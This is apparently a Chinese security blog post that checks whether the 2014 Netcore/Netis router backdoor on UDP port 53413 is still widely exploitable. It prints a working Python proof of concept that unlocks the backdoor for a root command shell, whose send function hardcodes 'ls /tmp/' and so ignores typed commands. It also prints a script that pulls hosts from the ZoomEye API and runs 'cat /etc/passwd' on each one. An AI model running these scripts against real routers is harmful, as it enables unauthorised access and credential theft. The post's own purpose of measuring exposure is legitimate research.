关于netcore 53413后门的跟踪

最近听到一种说法是,有gafgyt蠕虫利用netcore的53413的后门,传播得非常厉害。

那么,跟踪一下事实是否属实呢?

1.首先看一下netcore/netis路由的53413后门

这是一个2014年就爆出来的老洞。即netcore/netis路由器会默认监听53413端口(UDP),发送特定的字符串给它之后,就可以获得root权限登录,接着就可以执行相应的命令了。

一个可以利用poc如下:

import socket
import argparse
import binascii
import time

timeout = 20    
socket.setdefaulttimeout(timeout)

'''
Example run:
root@rageKali:/media/veracrypt1/stcyr/git/MSF-Testing-Scripts# python netis_backdoor.py 192.168.1.1
Unlocking Backdoor
Quit to quit loop
Netis> ls /tmp/
AuCVM
XqdHc
bVOQm
br_type
bridge_init
cfg-macclone
checkupfile
ddfile
default_rt
dhcpd_action
file.txt
hzbjo
igd_config.old
jiDOo
log
ntp_tmp
passwd
reg_domain
syslogd_support
tmp.txt
update_main
version
wan_type
workmode
Netis> cat /etc/passwd
root:abSQTPcIskFGc:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody:/:
'''
parser = argparse.ArgumentParser(description='Netis backdoor')
parser.add_argument('IP', help='IP of router to connect to')

args = parser.parse_args()


def send(command, print_response = True):
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.sendto("AA\x00\x00AAAA%s\x00" %("ls /tmp/"), (args.IP, 53413))
   if print_response:
      resp = s.recv(2048)
      resp = resp[8:]
      if binascii.hexlify(resp) == "000000ff":
         print("No response, command not found or error in command")
      else:
         print(resp)

def login():
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.sendto("AAAAAAAAnetcore\x00", (args.IP, 53413))

print("Unlocking Backdoor")
input = ""
print("Quit to quit loop")
input = raw_input("Netis> ").strip()
while not input.strip().upper() in ["QUIT","EXIT"]:
   send(" " + input)
   input = raw_input("Netis> ").strip()
我们随便访问一个开着53413端口的机器:


可以清晰的看到,虽然可以发送命令给这台机器,不过命令已经无法执行了。从返回命令的拼写错误来看,"commond"为误应该为command,很有可能很多机器都是打的同一个命令单词拼写错误的补丁。

再随便访问几个:


基本上都是处于打了补丁的状态。

2.自动化探测

我们知道zoomeye上提供了搜索某个指定端口开放的API,虽然是有限制的,不过已经足以方便我们进行自动化探测了。

脚本如下:

#coding:utf-8
import urllib
import urllib2
import json
import socket
import time
import binascii

socket.setdefaulttimeout(20)

def login():
    username = 'username'
    password = 'password'
    data = {
        "username":username,
        "password":password
    }
    url = "https://api.zoomeye.org/user/login"
    resp = urllib.urlopen(url, data=json.dumps(data))
    resp_data = json.loads(resp.read())
    return resp_data["access_token"]

def write_vulhost(msg):
    with open("h:/vulhost.log", "a") as f:
        f.write(msg+"\n")

def get_vulhost():
    token = login()
    PAGENUM = 1001
    headers = {
        "Authorization": "JWT "+token 
    }
    for i in range(1, PAGENUM):
        print "try page", i
        url = "https://api.zoomeye.org/host/search?query=port:53413&page="+str(i)
        req = urllib2.Request(url, headers=headers)
        resp = urllib2.urlopen(req)
        data = json.loads(resp.read())
        if "matches" in data.keys():
            for item in data["matches"]:
                if item["ip"].find("*") == -1:
                    sock = None
                    try:
                        #探测是否可以执行ls /tmp/命令
                        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                        sock.sendto("AAAAAAAAnetcore\x00", (str(item["ip"]), 53413))
                        respdata = sock.recv(2048)
                        if respdata.lower().find("login succeeded") != -1:
                            sock.sendto("AA\x00\x00AAAA%s\x00" %("cat /etc/passwd"), (str(item["ip"]), 53413))
                            respdata = sock.recv(2048)
                            respdata = respdata[8:]
                            if binascii.hexlify(respdata) == "000000ff" or respdata.find("commond") != -1 or respdata.find("cat") != -1 or \
                                respdata.find("not found") != -1:
                                #无法利用命令
                                continue
                            print respdata, item["ip"]
                            write_vulhost(item["ip"])
                        sock.close()
                    except:
                        if sock != None:
                            sock.close()
                        

if __name__ == '__main__':
    get_vulhost()
    print "done!"

我的脚本探测了100多页之后报错,提示说没有权限访问了,估计是超过限制了。


按照zoomeye的一页19条来看,大概2000多个ip都没有一个可以利用的,也就是说可以利用的概率已经低于千分之一。

所以说这个2014年的老洞的利用绝对没有传言中那么夸张,大多数的攻击行为都是扫描探测而已,而非真实的可以利用成功。从ips告警日志看起来,很多dip都是IDC服务器之类的,连netcore路由器都不是,可见得大多数的告警都只是扫描探测行为,真实可以利用成功的少之又少。

如何从海量的扫描告警中识别出那些真实利用成功的造成危害的告警,是很多安全建模团队需要做的工作。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值